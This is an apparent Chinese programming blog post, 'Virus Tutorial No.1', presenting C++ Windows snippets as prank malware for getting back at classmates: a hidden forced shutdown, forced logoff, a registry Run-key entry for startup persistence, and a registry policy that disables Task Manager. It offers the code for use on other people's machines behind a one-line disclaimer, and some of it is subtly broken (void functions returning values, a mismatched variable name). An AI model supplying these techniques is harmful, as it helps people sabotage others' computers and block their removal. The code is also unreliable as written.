病毒教程No.1

        大家可能都有过这样的经历:在电脑课上遇到别的同学秀自己的C++病毒程序,动不动就黑一下别人的电脑,让人气愤。

        今天来分享一下对计算机没有实质伤害的电脑病毒,让你们出一口恶气。

        禁止用于非法用途,违规者造成的损失与作者无关。

        一圈三联,求个关注!

        用C++做病毒时,大多数病毒都要加上一个头文件:

#include<windows.h>

记不住请收藏。

        第一个,关机病毒:

        这个我有在一篇博客上发布过,详情戳这:https://blog.csdn.net/2301_76254711/article/details/130169821

        废话不多,直接上代码!
 

​
VOID ShutdownNow(VOID)
{
    WinExec("shutdown -p",SW_HIDE);
    //-p是瞬间 关机 的意思,不是瞬间的意思
    return 0;
}

​

记得敲框架

第二:注销

VOID Logoff(VOID)
{
   WinExec("logoff.exe",SW_HIDE);
   //或shutdown -l -t 0
   return 0;
}

第三:开机自启

WINBOOL SettleBoot(LPCSTR keyname, //键值名,随便你
                   LPCSTR fullName=_pgmptr, //默认值就是自己
                   LPCSTR param=NULL)
{
 HKEY hKey; 
 char str[280];
 //找到系统的启动项 
 LPCSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 
 //打开启动项
 long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_WRITE, &hKey); 
 if(lRet == ERROR_SUCCESS) 
 { 
    if(param != NULL) //如果要用参数 
    {
      sprintf(str,"\"%s\" %s",fullname,param);
    }
       //添加一个子键,并设置值
        lRet = RegSetValueEx(hKey, keyname, 0, REG_SZ, (BYTE *)(param == NULL ? fullName : str), strlen(param == NULL ? fullName : str));
        //关之 
        RegCloseKey(hKey); 
        if(lRet != ERROR_SUCCESS) 
        { 
         return false;
        } 
          return true;
 }else{
  return false;
 }
}

第四:禁用任务管理器

        

VOID RegDisableTaskmgr(DWORD dwDisable=TRUE)
{
 HKEY hkey;
 DWORD v = dwDisable;
 RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
 RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
 RegCloseKey(hkey);
}

拜拜

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值